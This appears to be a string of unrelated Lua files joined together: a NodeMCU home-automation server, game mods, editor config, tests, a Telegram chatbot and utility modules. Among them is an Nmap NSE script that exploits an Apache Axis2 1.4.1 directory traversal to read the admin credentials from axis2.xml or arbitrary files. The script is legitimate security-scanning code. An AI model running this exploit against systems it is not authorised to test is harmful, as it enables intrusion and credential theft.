(hour)*100 + UserSetTime["min"] user_SetTime = UserSetTime --set global var, global used in setschedule() end end elseif string.find(dataStr,cmdString[4]) then--restart, set webIDE flag to true, mcu restarts and loads webIDE sck8099:on("sent", function(conn) conn:close() end) sck8099:close() file.open("restart.lua","w+") file.write(1) file.close("restart.lua") node.restart() end end end end --sck8076:send("HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n".."Detected: "..substr) --This is a simple web page response to be able to test it from any web browser sck8099:on("sent", function(conn) conn:close() end) end) end function findData(data)--GET /webrequest:%20the%20counter%20light%20on HTTP/1.1 local substr=string.sub(data,string.find(data,"GET /")+5,string.find(data,"HTTP/")-1) --Filter out GET and HTTP "webrequest:%20the%20counter%20light%20on" substr=string.lower(substr) --Set the string lower case to check it against print(" ") print("SUBSTR",substr) local substr2 = substr if substr ~=nil and substr ~=" " then --if there was data between GET and HTTP if string.find(substr,":") then print(substr) substr=string.sub(substr,string.find(substr,":")+1) --Keep only the text part after the colon "%20the%20counter%20light%20on" print(substr) substr=string.gsub(substr,'%W+%d+',"") --remove non alpha chars "thecounterlighton" [IFTTT or GA likes to pass 'the' even though it is explicitly stated in IFTTT] print(substr) substr=string.gsub(substr,'(the)',"") --remove 'the' = "counterlighton" print(substr) substr=string.gsub(substr,"%s+","") --remove possible spaces print(substr) end end return substr, substr2 --returns nil if no data between GT and HTTP end function findCommand(str, array) --sent "ceilingfanon" local arrlen=StrLen(array) local n = 1 local substr1, substr2 print("arrlen",arrlen) while n <= arrlen do if string.find(str,array[n]) then --compare to equip id "ceilingfanon" local strlen = string.len(array[n]) print("strlen",strlen) substr1=string.sub(str,string.find(str,array[n])+strlen) --remove the equipment id leaving command "on" print("SUBSTR1 cmd",substr1) substr2=string.sub(str,0,string.find(str,array[n])+strlen-1)--remove command "ceilingfan" print(substr2) n=strlen --break for loop end n=n+1 end return substr1, substr2 --if not found returns nil end function SetTime() --nodemcu documents for NTP time sntp.sync({ "0.ca.pool.ntp.org", "1.ca.pool.ntp.org", "2.ca.pool.ntp.org", "3.ca.pool.ntp.org" }, function(sec, usec, server, info) print(" ") print('sync', sec, usec, server) tm = rtctime.epoch2cal(rtctime.get()) print(string.format("%04d/%02d/%02d %02d:%02d:%02d", tm["year"], tm["mon"], tm["day"], tm["hour"], tm["min"], tm["sec"])) print("synch time done") print(" ") end, function() print(" ") print("synch time failed!") print(" ") print(" ") end, 1) Blink(150,0) end SetTime() print ("Server code started")
--htmlEntities = require('htmlEntities') htmlEntities = require('src/htmlEntities') test = require('tests/test') print('\n\nInit test htmlEntities') local text = [[&amp;&#88;&#65;&#77;&#80;&#76;&#69; text &lt;&equiv;&equiv;&equiv;&equiv;&equiv;&equiv;&equiv;&equiv;&equiv;&equiv;&gt;]] for k,v in pairs(htmlEntities) do if v and type(v) == 'string' then -- Print Info print(k .. ': ' .. v) end end local dec = htmlEntities.decode(text) print('\nInput: ' .. text .. '\n\nOutput: ' .. dec) function type_test() if arg[1] then if arg[1] == 'd' then return test.test_decode() elseif arg[1] == 'e' then return test.test_encode() elseif arg[1] == 's' then return test.test_speed() elseif arg[1] == 'a' then return test.test_ascii() end else repeat io.write('\n d = Decode e = Encode s = SpeedTest a = ASCII_Decode\n > ') io.flush() res = io.read() res = string.lower(res) until res == 'd' or res == 'e' or res == 's' or res == 'a' end -- Res if res == 'd' then test.test_decode() elseif res == 'e' then test.test_encode() elseif res == 's' then test.test_speed() elseif res == 'a' then test.test_ascii() end end if arg[1] then type_test() else repeat io.write('\nYou want to do a test (y/n) ') io.flush() res = io.read() res = string.lower(res) until res == 'y' or res == 'n' if res == 'y' then type_test() end end
-- Start OnLoad/OnInit/OnConfig events script.on_configuration_changed( function(data) if data.mod_changes ~= nil and data.mod_changes["NightReVision"] ~= nil and data.mod_changes["NightReVision"].old_version == nil then -- Mod added for _, player in pairs(game.players) do if (global.NightReVision_toggle[player.index] == nil) then global.NightReVision_toggle[player.index] = {state=true} end end end if data.mod_changes ~= nil and data.mod_changes["NightReVision"] ~= nil and data.mod_changes["NightReVision"].old_version ~= nil then -- Mod updated or removed -- Nothing to do end end) script.on_init(function() global.NightReVision_toggle = global.NightReVision_toggle or {} global.NightReVision_NVlist = {} global.NightReVision_NVlistmade = 0 end) script.on_load(function() --Nothing to Do Now end) -- End OnLoad/OnInit/OnConfig events function on_player_created(event) global.NightReVision_toggle[event.player_index] = {state=true} end script.on_event(defines.events.on_player_created, on_player_created) function on_hotkey(event) if (global.NightReVision_NVlistmade == 0) then global.NightReVision_NVlist = {} for eqi, eq in pairs(game.equipment_prototypes) do if(eq.type == "night-vision-equipment") then if(string.sub(eq.name, -4) ~= "-off") then global.NightReVision_NVlist[eq.name] = {eqname = eq.name} end end end end local player_index = event.player_index local player = game.players[player_index] local parmor = player.get_inventory(defines.inventory.player_armor)[1] if (parmor.valid_for_read and parmor.grid) then local peg = parmor.grid --If on toggle off if global.NightReVision_toggle[player_index].state then for _, nvl in pairs (global.NightReVision_NVlist) do local lf = nvl.eqname for _, eq in pairs(peg.equipment) do if (eq.name == lf) then --Make all NV into NVoff local penergy = eq.energy local ppos = eq.position local discard = peg.take{position=ppos} discard=nil peg.put{name=lf.."-off",position=ppos} peg.get(ppos).energy = penergy end end end global.NightReVision_toggle[player_index].state = false player.print({"NightReVision_toggle_off"}) --If off toggle on else for _, nvl in pairs (global.NightReVision_NVlist) do local lf = nvl.eqname for _, eq in pairs(peg.equipment) do if (eq.name == lf.."-off") then --Make all NVoff into NV local penergy = eq.energy local ppos = eq.position local discard = peg.take{position=ppos} discard=nil peg.put{name=lf,position=ppos} peg.get(ppos).energy = penergy end end end global.NightReVision_toggle[player_index].state = true player.print({"NightReVision_toggle_on"}) end end end script.on_event("NightReVision_hotkey", on_hotkey)
local au = require('_.utils.au') au.augroup('__MyCustomColors__', function() au.autocmd( 'BufWinEnter,BufEnter', '*', [[lua require'_.autocmds'.highlight_git_markers()]] ) end) -- Order is important, so any autocmds above works properly vim.opt.background = 'dark' vim.cmd([[silent! colorscheme aylin]])
Character = Object:extend() local function getUUID() local alphanumeric = jLib.getAlphaNumeric() local uuidTable = {} local uuid = "" --UUID TEMPLATE: xxxxxx-xxxx-xxxxxx for i = 1, 16, 1 do uuidTable[i] = alphanumeric[math.random(1, #alphanumeric)] end for i = 1, 6, 1 do uuid = uuid .. uuidTable[i] end uuid = uuid .. "-" for i = 6, 10, 1 do uuid = uuid .. uuidTable[i] end uuid = uuid .. "-" for i = 10, 16, 1 do uuid = uuid .. uuidTable[i] end return uuid end function Character:new(color, name, scale, x, y, rot, chat, uuid) self.x = x or 0 self.y = y or 0 self.rot = rot or 0 self.color = color or jLib.color.white self.name = name or "Player" .. tostring(math.random(0,1000)) self.scale = scale or 1 self.chat = chat or "" self.uuid = uuid or getUUID() self.size = 50 self.canvas = love.graphics.newCanvas(self.size * self.scale * 2, self.size * self.scale * 2) self.velocity = {} self.velocity.current = 0 self.velocity.drag = 3 --Accessibly stored variables, might want to be changed on interaction with things self.speed = {} self.speed.rotation = 5 self.speed.forward = 10 self.speed.max = 25 end function Character:draw() local size = self.size * self.scale love.graphics.setCanvas(self.canvas) love.graphics.setColor(self.color) love.graphics.circle("fill", size, size, size) love.graphics.setScissor(0, 0, size, size) love.graphics.rectangle("fill", 0, 0, size * 2, size * 2, size / (3 + (1/3)), size / (3 + (1/3)), size / 2) love.graphics.setScissor() love.graphics.setCanvas() love.graphics.draw(self.canvas, self.x, self.y, self.rot, 1, 1, size, size) end function Character:update(dt) local sin, cos = math.sin(self.rot + (math.pi * -.75)), math.cos(self.rot + (math.pi * -.75)) --Add forward/backwards velocity if controls.forward.isPressed then self.velocity.current = math.min(self.velocity.current + self.speed.forward * dt, self.speed.max) elseif controls.backwards.isPressed then self.velocity.current = math.max(self.velocity.current - self.speed.forward * dt, -self.speed.max) end --Move in that direction self.x = self.x + cos * self.velocity.current self.y = self.y + sin * self.velocity.current --Rotate if controls.left.isPressed then self.rot = self.rot + self.speed.rotation * dt elseif controls.right.isPressed then self.rot = self.rot - self.speed.rotation * dt end --Slow down velocity over time (trend towards zero) if self.velocity.current > 0 then self.velocity.current = math.max(self.velocity.current - self.velocity.drag * dt, 0) elseif self.velocity.current < 0 then self.velocity.current = math.min(self.velocity.current + self.velocity.drag * dt, 0) end end
require 'busted.runner'() describe("animations", function() local animations setup(function() _G.util = {by_pixel = function(x, y) return 1 end} animations = require("prototypes.animations") end) teardown(function() animations = nil end) describe("removeAnimationAndLight", function() it("sets animation and zeroes light", function() local lab = { type = "lab", name = "lab", valid = true, on_animation = {"on_animation"}, off_animation = {"off_animation"}, light = {intensity = 10, size = 8, color = {r = 1, g = 1, b = 1}}, unit_number = 0, force = force0, } animations.removeAnimationAndLight(lab) assert.same(lab.on_animation, lab.off_animation) assert.equal(0, lab.light.intensity) assert.equal(0, lab.light.size) assert.equal(0, lab.light.color.r) assert.equal(0, lab.light.color.g) assert.equal(0, lab.light.color.b) end) end) end)
local Template = require "oil.dtests.Template" local template = Template{"Client"} -- master process name Server = [=====================================================================[ checker = {} function checker:isSelf(obj) return self == obj end orb = oil.dtests.init{ port = 2809 } if oil.dtests.flavor.corba then checker.__type = orb:loadidl[[interface Checker { boolean isSelf(in Object obj); };]] end orb:newservant(checker, "checker") orb:run() --[Server]=====================================================================] Client = [=====================================================================[ orb = oil.dtests.init() checker = oil.dtests.resolve("Server", 2809, "checker") assert(checker:isSelf(checker)) orb:shutdown() --[Client]=====================================================================] return template:newsuite{ corba = true }
--MAXIME function now() local timePassed = math.floor((getRealTime().timestamp)) return timePassed end function formatTimeInterval( timeInseconds ) if type( timeInseconds ) ~= "number" then return timeInseconds, 0 end local seconds = now()-timeInseconds if seconds < 1 then return "Just now", 0 end if seconds < 60 then return formatTimeString( seconds, "second" ).." ago", seconds end local minutes = math.floor( seconds / 60 ) if minutes < 60 then return formatTimeString( minutes, "m" ) .. " " .. formatTimeString( seconds - minutes * 60, "s" ).." ago" , seconds end local hours = math.floor( minutes / 60 ) if hours < 48 then return formatTimeString( hours, "h" ) .. " " .. formatTimeString( minutes - hours * 60, "m" ).." ago", seconds end local days = math.floor( hours / 24 ) return formatTimeString( days, "day" ).." ago", seconds end function formatFutureTimeInterval( timeInseconds ) if type( timeInseconds ) ~= "number" then return timeInseconds, 0 end local seconds = timeInseconds-now() if seconds < 0 then return "0s", 0 end if seconds < 60 then return formatTimeString( seconds, "second" ), seconds end local minutes = math.floor( seconds / 60 ) if minutes < 60 then return formatTimeString( minutes, "m" ) .. " " .. formatTimeString( seconds - minutes * 60, "s" ), seconds end local hours = math.floor( minutes / 60 ) if hours < 48 then return formatTimeString( hours, "h" ) .. " " .. formatTimeString( minutes - hours * 60, "m" ), seconds end local days = math.floor( hours / 24 ) return formatTimeString( days, "day" ), seconds end function formatTimeString( time, unit ) if time == 0 then return "" end if unit == "day" or unit == "hour" or unit == "minute" or unit == "second" then return time .. " " .. unit .. ( time ~= 1 and "s" or "" ) else return time .. "" .. unit-- .. ( time ~= 1 and "s" or "" ) end end function minutesToDays(minutes) local oneDay = minutes*60*24 return math.floor(minutes/oneDay) end function formatSeconds(seconds) if type( seconds ) ~= "number" then return seconds end if seconds <= 0 then return "Now" end if seconds < 60 then return formatTimeString( seconds, "second" ) end local minutes = math.floor( seconds / 60 ) if minutes < 60 then return formatTimeString( minutes, "minute" ) .. " " .. formatTimeString( seconds - minutes * 60, "second" ) end local hours = math.floor( minutes / 60 ) if hours < 48 then return formatTimeString( hours, "hour" ) .. " " .. formatTimeString( minutes - hours * 60, "minute" ) end local days = math.floor( hours / 24 ) return formatTimeString( days, "day" ) end function isLeapYear(year) return year%4==0 and (year%100~=0 or year%400==0) end function getTimestamp(year, month, day, hour, minute, second) -- initiate variables local monthseconds = { 2678400, 2419200, 2678400, 2592000, 2678400, 2592000, 2678400, 2678400, 2592000, 2678400, 2592000, 2678400 } local timestamp = 0 local datetime = getRealTime() year, month, day = year or datetime.year + 1900, month or datetime.month + 1, day or datetime.monthday hour, minute, second = hour or datetime.hour, minute or datetime.minute, second or datetime.second -- calculate timestamp for i=1970, year-1 do timestamp = timestamp + (isLeapYear(i) and 31622400 or 31536000) end for i=1, month-1 do timestamp = timestamp + ((isLeapYear(year) and i == 2) and 2505600 or monthseconds[i]) end timestamp = timestamp + 86400 * (day - 1) + 3600 * hour + 60 * minute + second timestamp = timestamp - 3600 --GMT+1 compensation if datetime.isdst then timestamp = timestamp - 3600 end return timestamp end function datetimeToTimestamp(datetime) --Converts a datetime string (YYYY-MM-DD HH:MM:SS) to UNIX timestamp local pattern = "(%d+)-(%d+)-(%d+) (%d+):(%d+):(%d+)" local year, month, day, hour, minute, seconds = datetime:match(pattern) return getTimestamp(year, month, day, hour, minute, seconds) end
local aa = "-------------------" local simsimi = {} local HTTP = require('socket.http') local URL = require('socket.url') local JSON = require('dkjson') local bindings = require('bindings') function simsimi:init() if not self.config.simsimi_key then print('Missing config value: simsimi_key.') print('chatter.lua will not be enabled.') return end simsimi.triggers = { '', '^' .. self.info.first_name .. ',', '^@' .. self.info.username .. ',' } end function simsimi:action(msg) if msg.text == '' then return end -- This is awkward, but if you have a better way, please share. if msg.text_lower:match('^' .. self.info.first_name .. ',') or msg.text_lower:match('^@' .. self.info.username .. ',') then elseif msg.text:match('^/') then return true -- Uncomment the following line for Al Gore-like reply chatter. -- elseif msg.reply_to_message and msg.reply_to_message.from.id == bot.id then elseif msg.from.id == msg.chat.id then else return true end bindings.sendChatAction(self, msg.chat.id, 'typing') local input = msg.text_lower input = input:gsub(self.info.first_name, 'simsimi') input = input:gsub('@'..self.info.username, 'simsimi') --local ft = '1.0' local langer if self.config.langer then langer = 'ar' else langer = 'en' -- NO English end local url = 'http://api.simsimi.com/request.p?key=' ..self.config.simsimi_key.. '&lc=' ..self.config.lang.. '&ft=1.0&text=' .. URL.escape(input) local jstr, res = HTTP.request(url) if res ~= 200 then bindings.sendMessage(self, msg.chat.id, self.config.errors.chatter_connection) return end local jdat = JSON.decode(jstr) if not jdat.response then bindings.sendMessage(self, msg.chat.id, self.config.errors.chatter_response) return end local output = jdat.response if output:match('^I HAVE NO RESPONSE.') then output = self.config.errors.chatter_response end -- Let's clean up the response a little. Capitalization & punctuation. local filter = { ['%aimi?%aimi?'] = self.info.first_name, ['^%s*(.-)%s*$'] = '%1', ['^%l'] = string.upper, ['USER'] = msg.from.first_name } for k,v in pairs(filter) do output = string.gsub(output, k, v) end if not string.match(output, '%p$') then output = output elseif not string.match(output, '%p$') then output = output '' .. '' end bindings.sendMessage(self, msg.chat.id, output, true, msg.message_id, false) print(aa) print(msg.chat.username or msg.chat.first_name or msg.chat.id) print(msg.text) print(output) print(aa) end return simsimi
-- Juste un tests pour voir si j'arrive à réduire et extraire à la mano des data d'un un gros JSON -- Source: https://github.com/nodemcu/nodemcu-firmware/blob/master/lua_examples/sjson-streaming.lua print("\n a_meteo3-tests.lua zf190306.1757 \n") function set_json() zjson=[[ {"city_info":{"name":"Lausanne","country":"Suisse","latitude":"46.5194190","longitude":"6.6337000","elevation":"495","sunrise":"07:06","sunset":"18:24"},"forecast_info":{"latitude":null,"longitude":null,"elevation":"561.0"},"current_condition":{"date":"04.03.2019","hour":"10:00","tmp":6,"wnd_spd":39,"wnd_gust":64,"wnd_dir":"SO","pressure":1006.4,"humidity":96,"condition":"Averses de pluie faible","condition_key":"averses-de-pluie-faible","icon":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/averses-de-pluie-faible.png","icon_big":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/averses-de-pluie-faible-big.png"},"fcst_day_0":{"date":"04.03.2019","day_short":"Lun.","day_long":"Lundi","tmin":2,"tmax":8,"condition":"Averses de pluie faible","condition_key":"averses-de-pluie-faible","icon":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/averses-de-pluie-faible.png","icon_big":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/averses-de-pluie-faible-big.png","hourly_data":{"0H00":{"ICON":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/nuit-nuageuse.png","CONDITION":"Nuit nuageuse","CONDITION_KEY":"nuit-nuageuse","TMP2m":3.2,"DPT2m":0.1,"WNDCHILL2m":-0.1,"HUMIDEX":null,"RH2m":80,"PRMSL":1010.3,"APCPsfc":0,"WNDSPD10m":13,"WNDGUST10m":26,"WNDDIR10m":235,"WNDDIRCARD10":"SO","ISSNOW":0,"HCDC":"0.00","MCDC":"33.30","LCDC":"0.00","HGT0C":2500,"KINDEX":41,"CAPE180_0":"0.000","CIN180_0":0},"1H00":{"ICON":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/nuit-nuageuse.png","CONDITION":"Nuit nuageuse","CONDITION_KEY":"nuit-nuageuse","TMP2m":2.5,"DPT2m":-2.5,"WNDCHILL2m":-0.3,"HUMIDEX":null,"RH2m":70,"PRMSL":1009.3,"APCPsfc":0,"WNDSPD10m":10,"WNDGUST10m":20,"WNDDIR10m":229,"WNDDIRCARD10":"SO","ISSNOW":0,"HCDC":"0.00","MCDC":"100.00","LCDC":"0.00","HGT0C":2500,"KINDEX":39,"CAPE180_0":"0.000","CIN180_0":0},"2H00":{"ICON":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/nuit-nuageuse.png","CONDITION":"Nuit nuageuse","CONDITION_KEY":"nuit-nuageuse","TMP2m":2.4,"DPT2m":-3.1,"WNDCHILL2m":-0.4,"HUMIDEX":null,"RH2m":67,"PRMSL":1008.3,"APCPsfc":0,"WNDSPD10m":10,"WNDGUST10m":17,"WNDDIR10m":221,"WNDDIRCARD10":"SO","ISSNOW":0,"HCDC":"18.70","MCDC":"100.00","LCDC":"0.00","HGT0C":2600,"KINDEX":40,"CAPE180_0":"0.000","CIN180_0":0},"3H00":{"ICON":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/nuit-nuageuse.png","CONDITION":"Nuit nuageuse","CONDITION_KEY":"nuit-nuageuse","TMP2m":2.5,"DPT2m":-3.4,"WNDCHILL2m":-0.3,"HUMIDEX":null,"RH2m":65,"PRMSL":1007.1,"APCPsfc":0,"WNDSPD10m":10,"WNDGUST10m":16,"WNDDIR10m":221,"WNDDIRCARD10":"SO","ISSNOW":0,"HCDC":"100.00","MCDC":"99.70","LCDC":"0.00","HGT0C":2600,"KINDEX":40,"CAPE180_0":"0.000","CIN180_0":0},"4H00":{"ICON":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/nuit-nuageuse.png","CONDITION":"Nuit nuageuse","CONDITION_KEY":"nuit-nuageuse","TMP2m":2.8,"DPT2m":-2.4,"WNDCHILL2m":-0.4,"HUMIDEX":null,"RH2m":69,"PRMSL":1006,"APCPsfc":0,"WNDSPD10m":12,"WNDGUST10m":19,"WNDDIR10m":233,"WNDDIRCARD10":"SO","ISSNOW":0,"HCDC":"100.00","MCDC":"100.00","LCDC":"0.00","HGT0C":2500,"KINDEX":36,"CAPE180_0":"0.000","CIN180_0":0},"5H00":{"ICON":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/nuit-nuageuse.png","CONDITION":"Nuit nuageuse","CONDITION_KEY":"nuit-nuageuse","TMP2m":3.9,"DPT2m":0.2,"WNDCHILL2m":0.7,"HUMIDEX":null,"RH2m":77,"PRMSL":1004.2,"APCPsfc":0,"WNDSPD10m":13,"WNDGUST10m":20,"WNDDIR10m":241,"WNDDIRCARD10":"SO","ISSNOW":0,"HCDC":"100.00","MCDC":"100.00","LCDC":"0.00","HGT0C":2500,"KINDEX":33,"CAPE180_0":"0.000","CIN180_0":0}, ]] end function zget_json_key() -- print("zget_json_key entrée...",zjson_stat) if zjson_stat==1 then p1=string.find(zjson, [["hourly_data":{]]) if p1~=nil then print("trouvé le header: ",p1) zjson=string.sub(zjson,p1) print(string.sub(zjson,1,100)) print("go go go...") zjson_stat=2 end end if zjson_stat==2 then -- print("len1: "..string.len(zjson)) zjson_key='"'..zh..'H00":{' print("zjson_key: "..zjson_key) p1=string.find(zjson, zjson_key) print("p1: ",p1) if p1~=nil then zjson=string.sub(zjson,p1) print("zjson: ",string.sub(zjson,1,100)) -- p1,p2=string.find(zjson, '"CONDITION_KEY":"') p1,p2=string.find(zjson, '"APCPsfc":') print(p1,p2) if p1~=nil then -- p3=string.find(zjson, '","',p2) p3=string.find(zjson, ',',p2) print(p3) if p3~=nil then zpluie=tonumber(string.sub(zjson,p2+1,p3-1)) print("zpluie: ",zpluie) -- print("len2: "..string.len(zjson)) if zh >=7 and zh<=13 then zpluie_am=zpluie_am+zpluie end if zh >=13 and zh<=19 then zpluie_pm=zpluie_pm+zpluie end end end end end -- print("zget_json_key sortie...",zjson_stat) end zhmin=7 zhmax=19 zh=zhmin zpluie_am=0 zpluie_pm=0 zjson_stat=1 zjson="" function ztoto(c1) -- print("ztoto entrée...") if zjson=="" then zjson=c1 else zjson=zjson..c1 end -- print("zh: ",zh,"len(zjson): ",string.len(zjson)) while zh<=zhmax do zget_json_key() if p1~=nil then zh=zh+1 else print("ouille ouille ouille, pas trouvé...") if string.len(zjson)>510 then zjson=string.sub(zjson,string.len(zjson)-500) end break end end if zh>zhmax then zjson="" end -- print("ztoto sortie...") end --set_json() --zjson_stat=1 --zget_json_all_keys() --[[ set_json() zjson_stat=1 zh=1 zget_json_key() zh=2 zget_json_key() set_json() zjson_stat=1 zh=0 for i=0, 5 do zget_json_key() zh=zh+1 end set_json() print("len1: "..string.len(zjson)) zjson=string.sub(zjson,string.len(zjson)-500) print("len2: "..string.len(zjson)) print("zjson1: ",string.sub(zjson,1,100)) ]]
local creds = require "creds" local http = require "http" local io = require "io" local nmap = require "nmap" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local table = require "table" description = [[ Exploits a directory traversal vulnerability in Apache Axis2 version 1.4.1 by sending a specially crafted request to the parameter <code>xsd</code> (OSVDB-59001). By default it will try to retrieve the configuration file of the Axis2 service <code>'/conf/axis2.xml'</code> using the path <code>'/axis2/services/'</code> to return the username and password of the admin account. To exploit this vulnerability we need to detect a valid service running on the installation so we extract it from <code>/listServices</code> before exploiting the directory traversal vulnerability. By default it will retrieve the configuration file, if you wish to retrieve other files you need to set the argument <code>http-axis2-dir-traversal.file</code> correctly to traverse to the file's directory. Ex. <code>../../../../../../../../../etc/issue</code> To check the version of an Apache Axis2 installation go to: http://domain/axis2/services/Version/getVersion Reference: * http://osvdb.org/show/osvdb/59001 * http://www.exploit-db.com/exploits/12721/ ]] --- -- @usage -- nmap -p80,8080 --script http-axis2-dir-traversal --script-args 'http-axis2-dir-traversal.file=../../../../../../../etc/issue' <host/ip> -- nmap -p80 --script http-axis2-dir-traversal <host/ip> -- -- @output -- 80/tcp open http syn-ack -- |_http-axis2-dir-traversal.nse: Admin credentials found -> admin:axis2 -- -- @args http-axis2-dir-traversal.file Remote file to retrieve -- @args http-axis2-dir-traversal.outfile Output file -- @args http-axis2-dir-traversal.basepath Basepath to the services page. Default: <code>/axis2/services/</code> -- -- Other useful arguments for this script: -- @args http.useragent User Agent used in the GET requests --- author = "Paulino Calderon <[email protected]>" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"vuln", "intrusive", "exploit"} portrule = shortport.http --Default configuration values local DEFAULT_FILE = "../conf/axis2.xml" local DEFAULT_PATH = "/axis2/services/" --- --Checks the given URI looks like an Apache Axis2 installation -- @param host Host table -- @param port Port table -- @param path Apache Axis2 Basepath -- @return True if the string "Available services" is found local function check_installation(host, port, path) local req = http.get(host, port, path) if req.status == 200 and http.response_contains(req, "Available services") then return true end return false end --- -- Returns a table with all the available services extracted -- from the services list page -- @param body Services list page body -- @return Table containing the names and paths of the available services local function get_available_services(body) local services = {} for service in string.gmatch(body, '<h4>Service%sDescription%s:%s<font%scolor="black">(.-)</font></h4>') do table.insert(services, service) end return services end --- --Writes string to file --Taken from: hostmap.nse -- @param filename Filename to write -- @param contents Content of file -- @return True if file was written successfully local function write_file(filename, contents) local f, err = io.open(filename, "w") if not f then return f, err end f:write(contents) f:close() return true end --- -- Extracts Axis2's credentials from the configuration file -- It also adds them to the credentials library. -- @param body Configuration file string -- @return true if credentials are found -- @return Credentials or error string --- local function extract_credentials(host, port, body) local _,_,user = string.find(body, '<parameter name="userName">(.-)</parameter>') local _,_,pass = string.find(body, '<parameter name="password">(.-)</parameter>') if user and pass then local cred_obj = creds.Credentials:new( SCRIPT_NAME, host, port ) cred_obj:add(user, pass, creds.State.VALID ) return true, string.format("Admin credentials found -> %s:%s", user, pass) end return false, "Credentials were not found." end action = function(host, port) local outfile = stdnse.get_script_args("http-axis2-dir-traversal.outfile") local rfile = stdnse.get_script_args("http-axis2-dir-traversal.file") or DEFAULT_FILE local basepath = stdnse.get_script_args("http-axis2-dir-traversal.basepath") or DEFAULT_PATH local selected_service, output --check this is an axis2 installation if not(check_installation(host, port, basepath.."listServices")) then stdnse.print_debug(1, "%s: This does not look like an Apache Axis2 installation.", SCRIPT_NAME) return end output = {} --process list of available services local req = http.get( host, port, basepath.."listServices") local services = get_available_services(req.body) --generate debug info for services and select first one to be used in the request if #services > 0 then for _, servname in pairs(services) do stdnse.print_debug(1, "%s: Service found: %s", SCRIPT_NAME, servname) end selected_service = services[1] else if nmap.verbosity() >= 2 then stdnse.print_debug(1, "%s: There are no services available. We can't exploit this", SCRIPT_NAME) end return end --Use selected service and exploit stdnse.print_debug(1, "%s: Querying service: %s", SCRIPT_NAME, selected_service) req = http.get(host, port, basepath..selected_service.."?xsd="..rfile) stdnse.print_debug(2, "%s: Query -> %s", SCRIPT_NAME, basepath..selected_service.."?xsd="..rfile) --response came back if req.status and req.status == 200 then --if body is empty something wrong could have happened... if string.len(req.body) <= 0 then if nmap.verbosity() >= 2 then stdnse.print_debug(1, "%s:Response was empty. The file does not exists or the web server does not have sufficient permissions", SCRIPT_NAME) end return end output[#output+1] = "\nApache Axis2 Directory Traversal (OSVDB-59001)" --Retrieve file or only show credentials if downloading the configuration file if rfile ~= DEFAULT_FILE then output[#output+1] = req.body else --try to extract credentials local extract_st, extract_msg = extract_credentials(host, port, req.body) if extract_st then output[#output+1] = extract_msg else stdnse.print_debug(1, "%s: Credentials not found in configuration file", SCRIPT_NAME) end end --save to file if selected if outfile then local status, err = write_file(outfile, req.body) if status then output[#output+1] = string.format("%s saved to %s\n", rfile, outfile) else output[#output+1] = string.format("Error saving %s to %s: %s\n", rfile, outfile, err) end end else stdnse.print_debug(1, "%s: Request did not return status 200. File might not be found or unreadable", SCRIPT_NAME) return end if #output > 0 then return stdnse.strjoin("\n", output) end end
local M = {}; -- ver 1.0 local function Sign(x) if x > 0 then return 1; elseif x < 0 then return -1; else return 0; end; end; -- длина массива, начиная с 0 индекса local function Length(array) local length = 0; while array[length] ~= nil do length = length + 1; end; return length; end; -- длина массива, начиная с 1 индекса local function Length1(array) local length = 0; while array[length + 1] ~= nil do length = length + 1; end; return length; end; -- объединение двух массивов local function Unif(array1, array2) local i; local start = Length(array1); if Length(array2) > 0 then for i = 0, Length(array2) - 1, 1 do array1[start + i] = array2[i]; end; end; end; -- удаление элемента из массива local function ArrayDeleteElement(array, element) local i; if element == Length(array) - 1 then array[element] = nil; return; end; for i = element, Length(array) - 2, 1 do array[i] = array[i + 1]; end; array[Length(array) - 1] = nil; end; -- переместить элемент массива в новую позицию, элементы между новой и старой позициями сдвигаются в сторону старой позиции local function ArrayMoveElement(array, oldPos, newPos) local temp = array[oldPos]; local i; if newPos ~= oldPos then for i = oldPos, newPos - Sign(newPos - oldPos), Sign(newPos - oldPos) do array[i] = array[i + Sign(newPos - oldPos)]; end; array[newPos] = temp; end; end; -- развернуть порядок элементов массива задом наперед. Индексация должна начинаться с 0 local function ArrayReverse(array) local newArray = {}; local i; if array == nil then return nil; end; for i = 0, Length(array) - 1, 1 do newArray[i] = array[Length(array) - 1 - i]; end; return newArray; end; -- проверить существование элемента двумерного массива local function Array2DHaveElement(array, m, n) if array ~= nil then if array[m] ~= nil then if array[m][n] ~= nil then return true; else return false; end; else return false; end; else return false; end; end; -- проверить существование элемента двумерного массива local function Array2DElement(array, m, n) if array ~= nil then if array[m] ~= nil then if array[m][n] ~= nil then return array[m][n]; else return nil; end; else return nil; end; else return nil; end; end; -- возведение в степень local function Power(num, power) local i; local result = 1; for i = 0, power - 1, 1 do result = result * num; end; end; -- конструктор точки local function Point(x, y) local point = {}; point.x = x; point.y = y; return point; end; -- конструктор двумерного массива. Заполняет все ячейки значением value (например можно все заполнить нулями) local function Array2D(width, height, value) local i; local j; local array; array = {}; for i = 1, width, 1 do array[i] = {}; for j = 1, height, 1 do array[i][j] = value; end; end; return array; end; local function RecordDelete(record) local k, v; if type(record) == "table" then for k, v in pairs(record) do RecordDelete(record[k]); end; end; record = nil; end; local function RecordCopy(RecordFrom) local k, v; if type(RecordFrom) == "table" then local temp = {}; for k, v in pairs(RecordFrom) do temp[k] = RecordCopy(RecordFrom[k]); end; return temp; else return RecordFrom; end; end; local function VectorLength(x1, y1, x2, y2) return math.sqrt(math.pow(x1 - x2, 2) + math.pow(y1 - y2, 2)); end; local function VectorDirection(x1, y1, x2, y2) local dir = math.acos((x2 - x1) / math.sqrt(math.pow(x1 - x2, 2) + math.pow(y1 - y2, 2))); if (y2 > y1) then dir = math.pi * 2 - dir; end; -- было в радианах. Стало в градусах dir = dir * 180 / math.pi - 90; return dir; end; -- Возвращает x, y local function VectorXY(length, dir) local dir2; dir2 = (dir + 90) / 180 * math.pi; return (-(length * math.cos(math.pi - dir2))), (-(length * math.sin(math.pi - dir2))); end; M.Sign = Sign; M.Length = Length; M.Length1 = Length1; M.Unif = Unif; M.ArrayDeleteElement = ArrayDeleteElement; M.ArrayMoveElement = ArrayMoveElement; 